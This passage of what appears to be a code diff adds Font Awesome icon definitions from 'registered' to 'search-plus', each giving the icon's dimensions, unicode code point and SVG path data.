4.631 12.815-.482 17.433C378.202 479.813 319.926 504 256 504 119.034 504 8.001 392.967 8 256.002 7.999 119.193 119.646 7.755 256.455 8z" ], + registered: [ 512, 512, [], "f25d", "M285.363 207.475c0 18.6-9.831 28.431-28.431 28.431h-29.876v-56.14h23.378c28.668 0 34.929 8.773 34.929 27.709zM504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zM363.411 360.414c-46.729-84.825-43.299-78.636-44.702-80.98 23.432-15.172 37.945-42.979 37.945-74.486 0-54.244-31.5-89.252-105.498-89.252h-70.667c-13.255 0-24 10.745-24 24V372c0 13.255 10.745 24 24 24h22.567c13.255 0 24-10.745 24-24v-71.663h25.556l44.129 82.937a24.001 24.001 0 0 0 21.188 12.727h24.464c18.261-.001 29.829-19.591 21.018-35.587z" ], + "remove-format": [ 640, 512, [], "f87d", "M336 416h-11.17l9.26-27.77L267 336.4 240.49 416H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm297.82 42.1L377 259.59 426.17 112H544v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16H176a16 16 0 0 0-16 16v43.9L45.46 3.38A16 16 0 0 0 23 6.19L3.37 31.46a16 16 0 0 0 2.81 22.45l588.36 454.72a16 16 0 0 0 22.46-2.81l19.64-25.27a16 16 0 0 0-2.82-22.45zM309.91 207.76L224 141.36V112h117.83z" ], + reply: [ 512, 512, [], "f3e5", "M8.309 189.836L184.313 37.851C199.719 24.546 224 35.347 224 56.015v80.053c160.629 1.839 288 34.032 288 186.258 0 61.441-39.581 122.309-83.333 154.132-13.653 9.931-33.111-2.533-28.077-18.631 45.344-145.012-21.507-183.51-176.59-185.742V360c0 20.7-24.3 31.453-39.687 18.164l-176.004-152c-11.071-9.562-11.086-26.753 0-36.328z" ], + "reply-all": [ 576, 512, [], "f122", "M136.309 189.836L312.313 37.851C327.72 24.546 352 35.348 352 56.015v82.763c129.182 10.231 224 52.212 224 183.548 0 61.441-39.582 122.309-83.333 154.132-13.653 9.931-33.111-2.533-28.077-18.631 38.512-123.162-3.922-169.482-112.59-182.015v84.175c0 20.701-24.3 31.453-39.687 18.164L136.309 226.164c-11.071-9.561-11.086-26.753 0-36.328zm-128 36.328L184.313 378.15C199.7 391.439 224 380.687 224 359.986v-15.818l-108.606-93.785A55.96 55.96 0 0 1 96 207.998a55.953 55.953 0 0 1 19.393-42.38L224 71.832V56.015c0-20.667-24.28-31.469-39.687-18.164L8.309 189.836c-11.086 9.575-11.071 26.767 0 36.328z" ], + republican: [ 640, 512, [], "f75e", "M544 192c0-88.4-71.6-160-160-160H160C71.6 32 0 103.6 0 192v64h544v-64zm-367.7-21.6l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L128 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zm144 0l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L272 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zm144 0l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L416 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zM624 320h-32c-8.8 0-16 7.2-16 16v64c0 8.8-7.2 16-16 16s-16-7.2-16-16V288H0v176c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16v-80h192v80c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16V352h32v43.3c0 41.8 30 80.1 71.6 84.3 47.8 4.9 88.4-32.7 88.4-79.6v-64c0-8.8-7.2-16-16-16z" ], + restroom: [ 640, 512, [], "f7bd", "M128 128c35.3 0 64-28.7 64-64S163.3 0 128 0 64 28.7 64 64s28.7 64 64 64zm384 0c35.3 0 64-28.7 64-64S547.3 0 512 0s-64 28.7-64 64 28.7 64 64 64zm127.3 226.5l-45.6-185.8c-3.3-13.5-15.5-23-29.8-24.2-15 9.7-32.8 15.5-52 15.5-19.2 0-37-5.8-52-15.5-14.3 1.2-26.5 10.7-29.8 24.2l-45.6 185.8C381 369.6 393 384 409.2 384H464v104c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V384h54.8c16.2 0 28.2-14.4 24.5-29.5zM336 0h-32c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16zM180.1 144.4c-15 9.8-32.9 15.6-52.1 15.6-19.2 0-37.1-5.8-52.1-15.6C51.3 146.5 32 166.9 32 192v136c0 13.3 10.7 24 24 24h8v136c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V352h8c13.3 0 24-10.7 24-24V192c0-25.1-19.3-45.5-43.9-47.6z" ], + retweet: [ 640, 512, [], "f079", "M629.657 343.598L528.971 444.284c-9.373 9.372-24.568 9.372-33.941 0L394.343 343.598c-9.373-9.373-9.373-24.569 0-33.941l10.823-10.823c9.562-9.562 25.133-9.34 34.419.492L480 342.118V160H292.451a24.005 24.005 0 0 1-16.971-7.029l-16-16C244.361 121.851 255.069 96 276.451 96H520c13.255 0 24 10.745 24 24v222.118l40.416-42.792c9.285-9.831 24.856-10.054 34.419-.492l10.823 10.823c9.372 9.372 9.372 24.569-.001 33.941zm-265.138 15.431A23.999 23.999 0 0 0 347.548 352H160V169.881l40.416 42.792c9.286 9.831 24.856 10.054 34.419.491l10.822-10.822c9.373-9.373 9.373-24.569 0-33.941L144.971 67.716c-9.373-9.373-24.569-9.373-33.941 0L10.343 168.402c-9.373 9.373-9.373 24.569 0 33.941l10.822 10.822c9.562 9.562 25.133 9.34 34.419-.491L96 169.881V392c0 13.255 10.745 24 24 24h243.549c21.382 0 32.09-25.851 16.971-40.971l-16.001-16z" ], + ribbon: [ 448, 512, [], "f4d6", "M6.1 444.3c-9.6 10.8-7.5 27.6 4.5 35.7l68.8 27.9c9.9 6.7 23.3 5 31.3-3.8l91.8-101.9-79.2-87.9-117.2 130zm435.8 0s-292-324.6-295.4-330.1c15.4-8.4 40.2-17.9 77.5-17.9s62.1 9.5 77.5 17.9c-3.3 5.6-56 64.6-56 64.6l79.1 87.7 34.2-38c28.7-31.9 33.3-78.6 11.4-115.5l-43.7-73.5c-4.3-7.2-9.9-13.3-16.8-18-40.7-27.6-127.4-29.7-171.4 0-6.9 4.7-12.5 10.8-16.8 18l-43.6 73.2c-1.5 2.5-37.1 62.2 11.5 116L337.5 504c8 8.9 21.4 10.5 31.3 3.8l68.8-27.9c11.9-8 14-24.8 4.3-35.6z" ], + ring: [ 512, 512, [], "f70b", "M256 64C110.06 64 0 125.91 0 208v98.13C0 384.48 114.62 448 256 448s256-63.52 256-141.87V208c0-82.09-110.06-144-256-144zm0 64c106.04 0 192 35.82 192 80 0 9.26-3.97 18.12-10.91 26.39C392.15 208.21 328.23 192 256 192s-136.15 16.21-181.09 42.39C67.97 226.12 64 217.26 64 208c0-44.18 85.96-80 192-80zM120.43 264.64C155.04 249.93 201.64 240 256 240s100.96 9.93 135.57 24.64C356.84 279.07 308.93 288 256 288s-100.84-8.93-135.57-23.36z" ], + road: [ 576, 512, [], "f018", "M573.19 402.67l-139.79-320C428.43 71.29 417.6 64 405.68 64h-97.59l2.45 23.16c.5 4.72-3.21 8.84-7.96 8.84h-29.16c-4.75 0-8.46-4.12-7.96-8.84L267.91 64h-97.59c-11.93 0-22.76 7.29-27.73 18.67L2.8 402.67C-6.45 423.86 8.31 448 30.54 448h196.84l10.31-97.68c.86-8.14 7.72-14.32 15.91-14.32h68.8c8.19 0 15.05 6.18 15.91 14.32L348.62 448h196.84c22.23 0 36.99-24.14 27.73-45.33zM260.4 135.16a8 8 0 0 1 7.96-7.16h39.29c4.09 0 7.53 3.09 7.96 7.16l4.6 43.58c.75 7.09-4.81 13.26-11.93 13.26h-40.54c-7.13 0-12.68-6.17-11.93-13.26l4.59-43.58zM315.64 304h-55.29c-9.5 0-16.91-8.23-15.91-17.68l5.07-48c.86-8.14 7.72-14.32 15.91-14.32h45.15c8.19 0 15.05 6.18 15.91 14.32l5.07 48c1 9.45-6.41 17.68-15.91 17.68z" ], + robot: [ 640, 512, [], "f544", "M32,224H64V416H32A31.96166,31.96166,0,0,1,0,384V256A31.96166,31.96166,0,0,1,32,224Zm512-48V448a64.06328,64.06328,0,0,1-64,64H160a64.06328,64.06328,0,0,1-64-64V176a79.974,79.974,0,0,1,80-80H288V32a32,32,0,0,1,64,0V96H464A79.974,79.974,0,0,1,544,176ZM264,256a40,40,0,1,0-40,40A39.997,39.997,0,0,0,264,256Zm-8,128H192v32h64Zm96,0H288v32h64ZM456,256a40,40,0,1,0-40,40A39.997,39.997,0,0,0,456,256Zm-8,128H384v32h64ZM640,256V384a31.96166,31.96166,0,0,1-32,32H576V224h32A31.96166,31.96166,0,0,1,640,256Z" ], + rocket: [ 512, 512, [], "f135", "M505.12019,19.09375c-1.18945-5.53125-6.65819-11-12.207-12.1875C460.716,0,435.507,0,410.40747,0,307.17523,0,245.26909,55.20312,199.05238,128H94.83772c-16.34763.01562-35.55658,11.875-42.88664,26.48438L2.51562,253.29688A28.4,28.4,0,0,0,0,264a24.00867,24.00867,0,0,0,24.00582,24H127.81618l-22.47457,22.46875c-11.36521,11.36133-12.99607,32.25781,0,45.25L156.24582,406.625c11.15623,11.1875,32.15619,13.15625,45.27726,0l22.47457-22.46875V488a24.00867,24.00867,0,0,0,24.00581,24,28.55934,28.55934,0,0,0,10.707-2.51562l98.72834-49.39063c14.62888-7.29687,26.50776-26.5,26.50776-42.85937V312.79688c72.59753-46.3125,128.03493-108.40626,128.03493-211.09376C512.07526,76.5,512.07526,51.29688,505.12019,19.09375ZM384.04033,168A40,40,0,1,1,424.05,128,40.02322,40.02322,0,0,1,384.04033,168Z" ], + route: [ 512, 512, [], "f4d7", "M416 320h-96c-17.6 0-32-14.4-32-32s14.4-32 32-32h96s96-107 96-160-43-96-96-96-96 43-96 96c0 25.5 22.2 63.4 45.3 96H320c-52.9 0-96 43.1-96 96s43.1 96 96 96h96c17.6 0 32 14.4 32 32s-14.4 32-32 32H185.5c-16 24.8-33.8 47.7-47.3 64H416c52.9 0 96-43.1 96-96s-43.1-96-96-96zm0-256c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zM96 256c-53 0-96 43-96 96s96 160 96 160 96-107 96-160-43-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + rss: [ 448, 512, [], "f09e", "M128.081 415.959c0 35.369-28.672 64.041-64.041 64.041S0 451.328 0 415.959s28.672-64.041 64.041-64.041 64.04 28.673 64.04 64.041zm175.66 47.25c-8.354-154.6-132.185-278.587-286.95-286.95C7.656 175.765 0 183.105 0 192.253v48.069c0 8.415 6.49 15.472 14.887 16.018 111.832 7.284 201.473 96.702 208.772 208.772.547 8.397 7.604 14.887 16.018 14.887h48.069c9.149.001 16.489-7.655 15.995-16.79zm144.249.288C439.596 229.677 251.465 40.445 16.503 32.01 7.473 31.686 0 38.981 0 48.016v48.068c0 8.625 6.835 15.645 15.453 15.999 191.179 7.839 344.627 161.316 352.465 352.465.353 8.618 7.373 15.453 15.999 15.453h48.068c9.034-.001 16.329-7.474 16.005-16.504z" ], + "rss-square": [ 448, 512, [], "f143", "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM112 416c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm157.533 0h-34.335c-6.011 0-11.051-4.636-11.442-10.634-5.214-80.05-69.243-143.92-149.123-149.123-5.997-.39-10.633-5.431-10.633-11.441v-34.335c0-6.535 5.468-11.777 11.994-11.425 110.546 5.974 198.997 94.536 204.964 204.964.352 6.526-4.89 11.994-11.425 11.994zm103.027 0h-34.334c-6.161 0-11.175-4.882-11.427-11.038-5.598-136.535-115.204-246.161-251.76-251.76C68.882 152.949 64 147.935 64 141.774V107.44c0-6.454 5.338-11.664 11.787-11.432 167.83 6.025 302.21 141.191 308.205 308.205.232 6.449-4.978 11.787-11.432 11.787z" ], + "ruble-sign": [ 384, 512, [], "f158", "M239.36 320C324.48 320 384 260.542 384 175.071S324.48 32 239.36 32H76c-6.627 0-12 5.373-12 12v206.632H12c-6.627 0-12 5.373-12 12V308c0 6.627 5.373 12 12 12h52v32H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h52v52c0 6.627 5.373 12 12 12h58.56c6.627 0 12-5.373 12-12v-52H308c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12H146.56v-32h92.8zm-92.8-219.252h78.72c46.72 0 74.88 29.11 74.88 74.323 0 45.832-28.16 75.561-76.16 75.561h-77.44V100.748z" ], + ruler: [ 640, 512, [], "f545", "M635.7 167.2L556.1 31.7c-8.8-15-28.3-20.1-43.5-11.5l-69 39.1L503.3 161c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L416 75l-55.2 31.3 27.9 47.4c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L333.2 122 278 153.3 337.8 255c2.2 3.7.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9l-59.7-101.7-55.2 31.3 27.9 47.4c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9l-27.9-47.5-55.2 31.3 59.7 101.7c2.2 3.7.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L84.9 262.9l-69 39.1C.7 310.7-4.6 329.8 4.2 344.8l79.6 135.6c8.8 15 28.3 20.1 43.5 11.5L624.1 210c15.2-8.6 20.4-27.8 11.6-42.8z" ], + "ruler-combined": [ 512, 512, [], "f546", "M160 288h-56c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h56v-64h-56c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h56V96h-56c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8h56V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v448c0 2.77.91 5.24 1.57 7.8L160 329.38V288zm320 64h-32v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-64v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-64v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-41.37L24.2 510.43c2.56.66 5.04 1.57 7.8 1.57h448c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z" ], + "ruler-horizontal": [ 576, 512, [], "f547", "M544 128h-48v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8H88c-4.42 0-8-3.58-8-8v-88H32c-17.67 0-32 14.33-32 32v192c0 17.67 14.33 32 32 32h512c17.67 0 32-14.33 32-32V160c0-17.67-14.33-32-32-32z" ], + "ruler-vertical": [ 256, 512, [], "f548", "M168 416c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v448c0 17.67 14.33 32 32 32h192c17.67 0 32-14.33 32-32v-64h-88z" ], + running: [ 416, 512, [], "f70c", "M272 96c26.51 0 48-21.49 48-48S298.51 0 272 0s-48 21.49-48 48 21.49 48 48 48zM113.69 317.47l-14.8 34.52H32c-17.67 0-32 14.33-32 32s14.33 32 32 32h77.45c19.25 0 36.58-11.44 44.11-29.09l8.79-20.52-10.67-6.3c-17.32-10.23-30.06-25.37-37.99-42.61zM384 223.99h-44.03l-26.06-53.25c-12.5-25.55-35.45-44.23-61.78-50.94l-71.08-21.14c-28.3-6.8-57.77-.55-80.84 17.14l-39.67 30.41c-14.03 10.75-16.69 30.83-5.92 44.86s30.84 16.66 44.86 5.92l39.69-30.41c7.67-5.89 17.44-8 25.27-6.14l14.7 4.37-37.46 87.39c-12.62 29.48-1.31 64.01 26.3 80.31l84.98 50.17-27.47 87.73c-5.28 16.86 4.11 34.81 20.97 40.09 3.19 1 6.41 1.48 9.58 1.48 13.61 0 26.23-8.77 30.52-22.45l31.64-101.06c5.91-20.77-2.89-43.08-21.64-54.39l-61.24-36.14 31.31-78.28 20.27 41.43c8 16.34 24.92 26.89 43.11 26.89H384c17.67 0 32-14.33 32-32s-14.33-31.99-32-31.99z" ], + "rupee-sign": [ 320, 512, [], "f156", "M308 96c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v44.748c0 6.627 5.373 12 12 12h85.28c27.308 0 48.261 9.958 60.97 27.252H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h158.757c-6.217 36.086-32.961 58.632-74.757 58.632H12c-6.627 0-12 5.373-12 12v53.012c0 3.349 1.4 6.546 3.861 8.818l165.052 152.356a12.001 12.001 0 0 0 8.139 3.182h82.562c10.924 0 16.166-13.408 8.139-20.818L116.871 319.906c76.499-2.34 131.144-53.395 138.318-127.906H308c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-58.69c-3.486-11.541-8.28-22.246-14.252-32H308z" ], + "sad-cry": [ 496, 512, [], "f5b3", "M248 8C111 8 0 119 0 256c0 90.1 48.2 168.7 120 212.1V288c0-8.8 7.2-16 16-16s16 7.2 16 16v196.7c29.5 12.4 62 19.3 96 19.3s66.5-6.9 96-19.3V288c0-8.8 7.2-16 16-16s16 7.2 16 16v180.1C447.8 424.7 496 346 496 256 496 119 385 8 248 8zm-65.5 216.5c-14.8-13.2-46.2-13.2-61 0L112 233c-3.8 3.3-9.3 4-13.7 1.6-4.4-2.4-6.9-7.4-6.1-12.4 4-25.2 34.2-42.1 59.9-42.1S208 197 212 222.2c.8 5-1.7 10-6.1 12.4-5.8 3.1-11.2.7-13.7-1.6l-9.7-8.5zM248 416c-26.5 0-48-28.7-48-64s21.5-64 48-64 48 28.7 48 64-21.5 64-48 64zm149.8-181.5c-5.8 3.1-11.2.7-13.7-1.6l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L304 233c-3.8 3.3-9.3 4-13.7 1.6-4.4-2.4-6.9-7.4-6.1-12.4 4-25.2 34.2-42.1 59.9-42.1S400 197 404 222.2c.6 4.9-1.8 9.9-6.2 12.3z" ], + "sad-tear": [ 496, 512, [], "f5b4", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zM152 416c-26.5 0-48-21-48-47 0-20 28.5-60.4 41.6-77.8 3.2-4.3 9.6-4.3 12.8 0C171.5 308.6 200 349 200 369c0 26-21.5 47-48 47zm16-176c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm170.2 154.2C315.8 367.4 282.9 352 248 352c-21.2 0-21.2-32 0-32 44.4 0 86.3 19.6 114.7 53.8 13.8 16.4-11.2 36.5-24.5 20.4z" ], + satellite: [ 512, 512, [], "f7bf", "M502.60969,310.04206l-96.70393,96.71625a31.88151,31.88151,0,0,1-45.00765,0L280.572,326.34115l-9.89231,9.90759a190.56343,190.56343,0,0,1-5.40716,168.52287c-4.50077,8.50115-16.39342,9.59505-23.20707,2.79725L134.54715,400.05428l-17.7999,17.79929c.70324,2.60972,1.60965,5.00067,1.60965,7.79793a32.00544,32.00544,0,1,1-32.00544-32.00434c2.79735,0,5.18838.90637,7.7982,1.60959l17.7999-17.79929L4.43129,269.94287c-6.798-6.81342-5.70409-18.6119,2.79735-23.20627a190.58161,190.58161,0,0,1,168.52864-5.407l9.79854-9.79821-80.31053-80.41716a32.002,32.002,0,0,1,0-45.09987L201.96474,9.29814A31.62639,31.62639,0,0,1,224.46868,0a31.99951,31.99951,0,0,1,22.59759,9.29814l80.32615,80.30777,47.805-47.89713a33.6075,33.6075,0,0,1,47.50808,0l47.50807,47.50645a33.63308,33.63308,0,0,1,0,47.50644l-47.805,47.89713L502.71908,265.036A31.78938,31.78938,0,0,1,502.60969,310.04206ZM219.56159,197.433l73.82505-73.82252-68.918-68.9-73.80942,73.80689Zm237.74352,90.106-68.90233-68.9156-73.825,73.82252,68.918,68.9Z" ], + "satellite-dish": [ 512, 512, [], "f7c0", "M305.44954,462.59c7.39157,7.29792,6.18829,20.09661-3.00038,25.00356-77.713,41.80281-176.72559,29.9105-242.34331-35.7082C-5.49624,386.28227-17.404,287.362,24.41381,209.554c4.89125-9.095,17.68975-10.29834,25.00318-3.00043L166.22872,323.36708l27.39411-27.39452c-.68759-2.60974-1.594-5.00071-1.594-7.81361a32.00407,32.00407,0,1,1,32.00407,32.00455c-2.79723,0-5.20378-.89075-7.79786-1.594l-27.40974,27.41015ZM511.9758,303.06732a16.10336,16.10336,0,0,1-16.002,17.00242H463.86031a15.96956,15.96956,0,0,1-15.89265-15.00213C440.46671,175.5492,336.45348,70.53427,207.03078,63.53328a15.84486,15.84486,0,0,1-15.00191-15.90852V16.02652A16.09389,16.09389,0,0,1,209.031.02425C372.25491,8.61922,503.47472,139.841,511.9758,303.06732Zm-96.01221-.29692a16.21093,16.21093,0,0,1-16.11142,17.29934H367.645a16.06862,16.06862,0,0,1-15.89265-14.70522c-6.90712-77.01094-68.118-138.91037-144.92467-145.22376a15.94,15.94,0,0,1-14.79876-15.89289V112.13393a16.134,16.134,0,0,1,17.29908-16.096C319.45132,104.5391,407.55627,192.64538,415.96359,302.7704Z" ], + save: [ 448, 512, [], "f0c7", "M433.941 129.941l-83.882-83.882A48 48 0 0 0 316.118 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V163.882a48 48 0 0 0-14.059-33.941zM224 416c-35.346 0-64-28.654-64-64 0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64zm96-304.52V212c0 6.627-5.373 12-12 12H76c-6.627 0-12-5.373-12-12V108c0-6.627 5.373-12 12-12h228.52c3.183 0 6.235 1.264 8.485 3.515l3.48 3.48A11.996 11.996 0 0 1 320 111.48z" ], + school: [ 640, 512, [], "f549", "M0 224v272c0 8.84 7.16 16 16 16h80V192H32c-17.67 0-32 14.33-32 32zm360-48h-24v-40c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v64c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8zm137.75-63.96l-160-106.67a32.02 32.02 0 0 0-35.5 0l-160 106.67A32.002 32.002 0 0 0 128 138.66V512h128V368c0-8.84 7.16-16 16-16h96c8.84 0 16 7.16 16 16v144h128V138.67c0-10.7-5.35-20.7-14.25-26.63zM320 256c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zm288-64h-64v320h80c8.84 0 16-7.16 16-16V224c0-17.67-14.33-32-32-32z" ], + screwdriver: [ 512, 512, [], "f54a", "M448 0L320 96v62.06l-83.03 83.03c6.79 4.25 13.27 9.06 19.07 14.87 5.8 5.8 10.62 12.28 14.87 19.07L353.94 192H416l96-128-64-64zM128 278.59L10.92 395.67c-14.55 14.55-14.55 38.15 0 52.71l52.7 52.7c14.56 14.56 38.15 14.56 52.71 0L233.41 384c29.11-29.11 29.11-76.3 0-105.41s-76.3-29.11-105.41 0z" ], + scroll: [ 640, 512, [], "f70e", "M48 0C21.53 0 0 21.53 0 48v64c0 8.84 7.16 16 16 16h80V48C96 21.53 74.47 0 48 0zm208 412.57V352h288V96c0-52.94-43.06-96-96-96H111.59C121.74 13.41 128 29.92 128 48v368c0 38.87 34.65 69.65 74.75 63.12C234.22 474 256 444.46 256 412.57zM288 384v32c0 52.93-43.06 96-96 96h336c61.86 0 112-50.14 112-112 0-8.84-7.16-16-16-16H288z" ], + "sd-card": [ 384, 512, [], "f7c2", "M320 0H128L0 128v320c0 35.3 28.7 64 64 64h256c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zM160 160h-48V64h48v96zm80 0h-48V64h48v96zm80 0h-48V64h48v96z" ], + search: [ 512, 512, [], "f002", "M505 442.7L405.3 343c-4.5-4.5-10.6-7-17-7H372c27.6-35.3 44-79.7 44-128C416 93.1 322.9 0 208 0S0 93.1 0 208s93.1 208 208 208c48.3 0 92.7-16.4 128-44v16.3c0 6.4 2.5 12.5 7 17l99.7 99.7c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.6.1-34zM208 336c-70.7 0-128-57.2-128-128 0-70.7 57.2-128 128-128 70.7 0 128 57.2 128 128 0 70.7-57.2 128-128 128z" ], + "search-dollar": [ 512, 512, [], "f688", "M505.04 442.66l-99.71-99.69c-4.5-4.5-10.6-7-17-7h-16.3c27.6-35.3 44-79.69 44-127.99C416.03 93.09 322.92 0 208.02 0S0 93.09 0 207.98s93.11 207.98 208.02 207.98c48.3 0 92.71-16.4 128.01-44v16.3c0 6.4 2.5 12.5 7 17l99.71 99.69c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.59.1-33.99zm-297.02-90.7c-79.54 0-144-64.34-144-143.98 0-79.53 64.35-143.98 144-143.98 79.54 0 144 64.34 144 143.98 0 79.53-64.35 143.98-144 143.98zm27.11-152.54l-45.01-13.5c-5.16-1.55-8.77-6.78-8.77-12.73 0-7.27 5.3-13.19 11.8-13.19h28.11c4.56 0 8.96 1.29 12.82 3.72 3.24 2.03 7.36 1.91 10.13-.73l11.75-11.21c3.53-3.37 3.33-9.21-.57-12.14-9.1-6.83-20.08-10.77-31.37-11.35V112c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v16.12c-23.63.63-42.68 20.55-42.68 45.07 0 19.97 12.99 37.81 31.58 43.39l45.01 13.5c5.16 1.55 8.77 6.78 8.77 12.73 0 7.27-5.3 13.19-11.8 13.19h-28.1c-4.56 0-8.96-1.29-12.82-3.72-3.24-2.03-7.36-1.91-10.13.73l-11.75 11.21c-3.53 3.37-3.33 9.21.57 12.14 9.1 6.83 20.08 10.77 31.37 11.35V304c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8v-16.12c23.63-.63 42.68-20.54 42.68-45.07 0-19.97-12.99-37.81-31.59-43.39z" ], + "search-location": [ 512, 512, [], "f689", "M505.04 442.66l-99.71-99.69c-4.5-4.5-10.6-7-17-7h-16.3c27.6-35.3 44-79.69 44-127.99C416.03 93.09 322.92 0 208.02 0S0 93.09 0 207.98s93.11 207.98 208.02 207.98c48.3 0 92.71-16.4 128.01-44v16.3c0 6.4 2.5 12.5 7 17l99.71 99.69c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.59.1-33.99zm-297.02-90.7c-79.54 0-144-64.34-144-143.98 0-79.53 64.35-143.98 144-143.98 79.54 0 144 64.34 144 143.98 0 79.53-64.35 143.98-144 143.98zm.02-239.96c-40.78 0-73.84 33.05-73.84 73.83 0 32.96 48.26 93.05 66.75 114.86a9.24 9.24 0 0 0 14.18 0c18.49-21.81 66.75-81.89 66.75-114.86 0-40.78-33.06-73.83-73.84-73.83zm0 96c-13.26 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z" ], + "search-minus": [ 512, 512, [], "f010", "M304 192v32c0 6.6-5.4 12-12 12H124c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm201 284.7L476.7 505c-9.4 9.4-24.6 9.4-33.9 0L343 405.3c-4.5-4.5-7-10.6-7-17V372c-35.3 27.6-79.7 44-128 44C93.1 416 0 322.9 0 208S93.1 0 208 0s208 93.1 208 208c0 48.3-16.4 92.7-44 128h16.3c6.4 0 12.5 2.5 17 7l99.7 99.7c9.3 9.4 9.3 24.6 0 34zM344 208c0-75.2-60.8-136-136-136S72 132.8 72 208s60.8 136 136 136 136-60.8 136-136z" ], + "search-plus": [ 512, 512, [], "f00e", "M304 192v32c0 6.6-5.4 12-12 12h-56v56c0 6.6-5.4 12-12 12h-32c-6.6 0-12-5.4-12-12v-56h-56c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h56v-56c0-6.6 